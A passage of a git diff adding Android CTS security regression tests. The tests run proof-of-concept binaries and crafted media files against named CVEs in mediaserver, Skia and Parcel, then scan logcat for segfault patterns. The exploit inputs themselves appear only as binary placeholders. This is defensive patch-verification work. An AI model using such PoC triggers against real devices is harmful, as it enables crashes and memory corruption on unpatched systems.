+ android::BnOMX::buffer_id buffer) {
+ return service->freeBuffer(node, portIndex, buffer);
+}
+status_t omxUtilsFreeNode() {
+ return service->freeNode(node);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
new file mode 100644
index 0000000..06a1db3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
@@ -0,0 +1,75 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <jni.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <binder/IServiceManager.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <binder/MemoryDealer.h>
+#include "HardwareAPI.h"
+#include "OMX_Component.h"
+#include <media/stagefright/foundation/ALooper.h>
+#include <utils/List.h>
+#include <utils/Vector.h>
+#include <utils/threads.h>
+#include <binder/ProcessState.h>
+
+#define DEFAULT_TIMEOUT 5000000
+using namespace android;
+template<class T>
+static void InitOMXParams(T *params) {
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+using namespace android;
+#define OMX_UTILS_IP_PORT 0
+#define OMX_UTILS_OP_PORT 1
+
+status_t omxUtilsInit(char *codec_name);
+status_t omxUtilsGetParameter(int portIndex,
+ OMX_PARAM_PORTDEFINITIONTYPE *params);
+status_t omxUtilsSetParameter(int portIndex,
+ OMX_PARAM_PORTDEFINITIONTYPE *params);
+status_t omxUtilsStoreMetaDataInBuffers(OMX_U32 portIndex, OMX_BOOL enable,
+ android::MetadataBufferType *type);
+status_t omxUtilsEnableNativeBuffers(OMX_U32 portIndex, OMX_BOOL graphic,
+ OMX_BOOL enable);
+status_t omxUtilsAllocateBufferWithBackup(OMX_U32 portIndex,
+ const sp<IMemory> ¶ms,
+ android::BnOMX::buffer_id *buffer,
+ OMX_U32 allottedSize);
+status_t omxUtilsUseBuffer(OMX_U32 portIndex, const sp<IMemory> ¶ms,
+ android::BnOMX::buffer_id *buffer,
+ OMX_U32 allottedSize);
+status_t omxUtilsUpdateGraphicBufferInMeta(
+ OMX_U32 portIndex, const sp<GraphicBuffer> &graphicBuffer,
+ android::BnOMX::buffer_id buffer);
+status_t omxUtilsSendCommand(OMX_COMMANDTYPE cmd, OMX_S32 param);
+status_t omxUtilsEmptyBuffer(android::BnOMX::buffer_id buffer,
+ OMX_U32 range_offset, OMX_U32 range_length,
+ OMX_U32 flags, OMX_TICKS timestamp, int fenceFd);
+status_t omxUtilsFillBuffer(android::BnOMX::buffer_id buffer, int fenceFd);
+status_t omxUtilsFreeBuffer(OMX_U32 portIndex,
+ android::BnOMX::buffer_id buffer);
+status_t omxUtilsFreeNode();
+status_t dequeueMessageForNode(omx_message *msg, int64_t timeoutUs);
+void omxExitOnError(status_t ret);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 11ed236..a09f137 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -262,8 +262,8 @@
test_failed = true;
} finally {
if (inputFiles != null) {
- for (int i = 0; i < inputFiles.length; i++) {
- AdbUtils.runCommandLine("rm /data/local/tmp/" + inputFiles[i], device);
+ for (String tempFile : inputFiles) {
+ AdbUtils.runCommandLine("rm /data/local/tmp/" + tempFile, device);
}
}
if (test_failed == true) {
@@ -283,10 +283,10 @@
*/
public static void checkCrash(String crashPatternList[], String logcat)
throws Exception {
- for (int i = 0; i < crashPatternList.length; i++) {
+ for (String crashPattern : crashPatternList) {
assertFalse("Crash log pattern found!",
- Pattern.compile(crashPatternList[i],
- Pattern.MULTILINE).matcher(logcat).find());
+ Pattern.compile(crashPattern, Pattern.MULTILINE)
+ .matcher(logcat).find());
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
index 00f9049..50f8423 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -56,4 +56,31 @@
logcat);
}
+ /*
+ * b/72507607
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ public void testPocCVE_2016_2481() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-2481", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
+ logcat);
+ }
+
+ /*
+ * b/72507822
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ public void testPocCVE_2016_2486() throws Exception {
+ AdbUtils.pushResource(
+ "/CVE-2016-2486.mp3",
+ "/data/local/tmp/CVE-2016-2486.mp3",
+ getDevice());
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-2486", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
+ logcat);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
index 75fd87c..de68fbf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
@@ -30,4 +30,16 @@
assertNotMatchesMultiLine(">>> /system/bin/mediaserver <<<" +
".*?signal 11 \\(SIGSEGV\\)", logcat);
}
+
+ /**
+ * b/72049086
+ */
+ @SecurityTest(minPatchLevel = "2016-08")
+ public void testPocCVE_2016_3844() throws Exception {
+ AdbUtils.runCommandLine("logcat -c",getDevice());
+ AdbUtils.runPoc("CVE-2016-3844", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(
+ "Fatal signal 11.*?>>> /system/bin/mediaserver <<<", logcat);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index 98994e1..bb9ac1a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -31,4 +31,16 @@
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
assertNotMatchesMultiLine("Fatal signal 11.*?/system/bin/mediaserver",logcat);
}
+
+ /**
+ * b/72505021
+ */
+ @SecurityTest(minPatchLevel = "2016-10")
+ public void testPocCVE_2016_3933() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPoc("CVE-2016-3933", getDevice(), 60);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
+ logcatOut);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index 0927806..0e49cac 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -111,4 +111,16 @@
AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
}
}
+
+ /**
+ * b/72498171
+ */
+ @SecurityTest(minPatchLevel = "2016-11")
+ public void testPocCVE_2016_6717() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-6717", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
+ logcat);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
index 4840ccc..cfa5a3f 100755
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -67,4 +67,31 @@
return result.substring(index + pattern.length());
}, getDevice());
}
+
+ /**
+ * b/72496732
+ */
+ @SecurityTest(minPatchLevel = "2016-12")
+ public void testPocCVE_2016_8400() throws Exception {
+ safeReboot();
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-8400", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(
+ "Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
+ logcat);
+ }
+
+ /**
+ * b/72496125
+ */
+ @SecurityTest(minPatchLevel = "2016-12")
+ public void testPocCVE_2016_6789() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-6789", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(
+ "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/mediaserver <<<",
+ logcat);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java
index e722ea7..6495657 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -31,10 +31,9 @@
AdbUtils.runCommandLine("logcat -c" , getDevice());
AdbUtils.runPocNoOutput("CVE-2017-0727", getDevice(), 60);
String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\)" +
- "[\\s\\n\\S]*>>> /system/bin/" +
- "mediaserver <<<", logcatOut);
- TimeUnit.SECONDS.sleep(50);
+ assertNotMatchesMultiLine(
+ "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/mediaserver <<<",
+ logcatOut);
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index a091864..276422d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -95,4 +95,16 @@
assertNotMatchesMultiLine(
">>> /system/bin/mediaserver <<<.*signal 11 \\(SIGSEGV\\)", logcat);
}
+
+ /**
+ * b/72314173
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ public void testPocCVE_2017_6279() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPoc("CVE-2017-6279", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(
+ "Fatal signal 11.*?>>> /system/bin/mediaserver <<<", logcat);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
new file mode 100644
index 0000000..ed5c399
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import android.platform.test.annotations.SecurityTest;
+import java.util.regex.Pattern;
+
+@SecurityTest
+public class TestMedia extends SecurityTestCase {
+
+ final static int TIMEOUT_SEC = 9 * 60;
+ final static String RESOURCE_ROOT = "/";
+ final static String TMP_FILE_PATH = "/data/local/tmp/";
+
+ /****************************************************************
+ * To prevent merge conflicts, add tests for N below this comment,
+ * before any existing test methods
+ ****************************************************************/
+ @SecurityTest(minPatchLevel = "2017-07")
+ public void testPocCVE_2017_0684() throws Exception {
+ String errPattern[] = {"name: le.h264.encoder "
+ + ">>> /system/bin/mediaserver <<<\n.*?(SIGSEGV)"};
+ runMediaTest("CVE-2017-0684", null, null, getDevice(), errPattern);
+ }
+
+ /****************************************************************
+ * To prevent merge conflicts, add tests for O below this comment,
+ * before any existing test methods
+ ****************************************************************/
+
+
+ /****************************************************************
+ * To prevent merge conflicts, add tests for P below this comment,
+ * before any existing test methods
+ ****************************************************************/
+
+
+ /**
+ * Checks for linker errors
+ *
+ * @param binaryName name of the binary
+ * @param logcat String to be parsed
+ */
+ public static boolean isLinkerErrorPresent(String binaryName, String logcat)
+ throws Exception {
+ return Pattern
+ .compile("CANNOT LINK EXECUTABLE \"" + TMP_FILE_PATH
+ + binaryName + "\"", Pattern.MULTILINE)
+ .matcher(logcat).find();
+ }
+
+ /**
+ * Checks for crash
+ *
+ * @param binaryName Name of the binary
+ * @param errPattern error patterns to be checked for
+ * @param logcat String to be parsed
+ */
+ public static void checkCrash(String binaryName, String errPattern[],
+ String logcat) throws Exception {
+ String genericCrashPattern[] = {
+ "name: " + binaryName + " >>> " + TMP_FILE_PATH + binaryName
+ + " <<<\n.*?SIGABRT",
+ "name: " + binaryName + " >>> " + TMP_FILE_PATH + binaryName
+ + " <<<\n.*?SIGSEGV"};
+ AdbUtils.checkCrash(genericCrashPattern, logcat);
+ if (errPattern != null) {
+ AdbUtils.checkCrash(errPattern, logcat);
+ }
+ }
+
+ /**
+ * Pushes input files, runs the PoC and checks for crash and hang
+ *
+ * @param binaryName name of the binary
+ * @param inputFiles files required as input
+ * @param arguments arguments for running the binary
+ * @param device device to be run on
+ * @param errPattern error patterns to be checked for
+ */
+ public static void runMediaTest(String binaryName,
+ String inputFiles[], String arguments, ITestDevice device,
+ String errPattern[]) throws Exception {
+ if (inputFiles != null) {
+ for (String tempFile : inputFiles) {
+ AdbUtils.pushResource(RESOURCE_ROOT + tempFile,
+ TMP_FILE_PATH + tempFile, device);
+ }
+ }
+ AdbUtils.runCommandLine("logcat -c", device);
+ AdbUtils.runWithTimeoutDeleteFiles(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ AdbUtils.runPocNoOutput(binaryName, device,
+ TIMEOUT_SEC + 30, arguments);
+ } catch (Exception e) {
+ CLog.w("Exception: " + e.getMessage());
+ }
+ }
+ }, TIMEOUT_SEC * 1000, device, inputFiles);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", device);
+ boolean linkerErrorFound = isLinkerErrorPresent(binaryName, logcatOut);
+ if (!linkerErrorFound) {
+ checkCrash(binaryName, errPattern, logcatOut);
+ }
+ }
+}
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 2df862f..ad90596 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -76,6 +76,10 @@
android:name="android.os.cts.ParcelExceptionService"
android:process=":remote"
android:exported="true" />
+ <service
+ android:name="android.os.cts.ParcelTest$ParcelObjectFreeService"
+ android:process=":remote"
+ android:exported="true" />
<service android:name="android.os.cts.LocalService">
<intent-filter>
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 63f15f6..d7259bd 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -28,6 +28,7 @@
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
+import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -3270,4 +3271,68 @@
assertNull("Binder should have been overwritten by the exception",
reply.readStrongBinder());
}
+
+ public static class ParcelObjectFreeService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new Binder();
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+
+ Parcel parcel = Parcel.obtain();
+
+ // Construct parcel with object in it.
+ parcel.writeInt(1);
+ final int pos = parcel.dataPosition();
+ parcel.writeStrongBinder(new Binder());
+
+ // wipe out the object by setting data size
+ parcel.setDataSize(pos);
+
+ // recycle the parcel. This should not cause a native segfault
+ parcel.recycle();
+ }
+
+ public static class Connection extends AbstractFuture<IBinder>
+ implements ServiceConnection {
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ set(service);
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+
+ @Override
+ public IBinder get() throws InterruptedException, ExecutionException {
+ try {
+ return get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException e) {
+ return null;
+ }
+ }
+ }
+ }
+
+ public void testObjectDoubleFree() throws Exception {
+
+ final Intent intent = new Intent();
+ intent.setComponent(new ComponentName(
+ "android.os.cts", "android.os.cts.ParcelTest$ParcelObjectFreeService"));
+
+ final ParcelObjectFreeService.Connection connection =
+ new ParcelObjectFreeService.Connection();
+
+ mContext.startService(intent);
+ assertTrue(mContext.bindService(intent, connection,
+ Context.BIND_ABOVE_CLIENT | Context.BIND_EXTERNAL_SERVICE));
+
+ assertNotNull("Service should have started without crashing.", connection.get());
+ }
}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 6ebd7de..b3af6f4 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -44,6 +44,15 @@
android:process=":secureRandom"/>
<activity android:name="android.security.cts.activity.MotionEventTestActivity"/>
+
+ <activity
+ android:name="android.security.cts.SkiaJpegDecodingActivity"
+ android:label="Test overflow in libskia JPG processing">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+ </intent-filter>
+ </activity>
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
new file mode 100644
index 0000000..f63f6ef
--- /dev/null
+++ b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
Binary files differ
diff --git a/tests/tests/security/res/layout/activity_skiajpegdecoding.xml b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
new file mode 100644
index 0000000..68a0d68
--- /dev/null
+++ b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent"
+ android:gravity="center"
+ android:orientation="vertical">
+
+ <ImageView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:src="@drawable/signal_sigsegv_in_jmem_ashmem"
+ />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug_113260892_hevc.mp4 b/tests/tests/security/res/raw/bug_113260892_hevc.mp4
new file mode 100644
index 0000000..6dfebba
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_113260892_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
new file mode 100644
index 0000000..8289784
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import android.security.cts.R;
+
+public class SkiaJpegDecodingActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
new file mode 100644
index 0000000..55525e0
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Activity;
+import android.test.ActivityInstrumentationTestCase2;
+
+public class SkiaJpegDecodingTest extends
+ ActivityInstrumentationTestCase2<SkiaJpegDecodingActivity> {
+ private Activity mActivity;
+
+ public SkiaJpegDecodingTest() {
+ super(SkiaJpegDecodingActivity.class);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mActivity = getActivity();
+ assertNotNull("Failed to get the activity instance", mActivity);
+ }
+
+ public void testLibskiaOverFlowJpegProcessing() {
+ // When this is run on a vulnerable build the app will have a native crash
+ // which will fail the test. When it is run on a non-vulnerable build we may
+ // get a java-level exception, indicating that the error was handled properly
+ mActivity.runOnUiThread(new Runnable() {
+ public void run() {
+ try {
+ mActivity.setContentView(R.layout.activity_skiajpegdecoding);
+ } catch (android.view.InflateException e) {
+ return;
+ }
+ }
+ });
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mActivity != null) {
+ mActivity.finish();
+ }
+ super.tearDown();
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index a0f8084..adda501 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -785,6 +785,11 @@
doStagefrightTestRawBlob(R.raw.bug_73552574_avc, "video/avc", 320, 240, frameSizes);
}
+ @SecurityTest(minPatchLevel = "2018-12")
+ public void testBug_113260892() throws Exception {
+ doStagefrightTestRawBlob(R.raw.bug_113260892_hevc, "video/hevc", 320, 240);
+ }
+
@SecurityTest(minPatchLevel = "2018-02")
public void testStagefright_bug_68342866() throws Exception {
Thread server = new Thread() {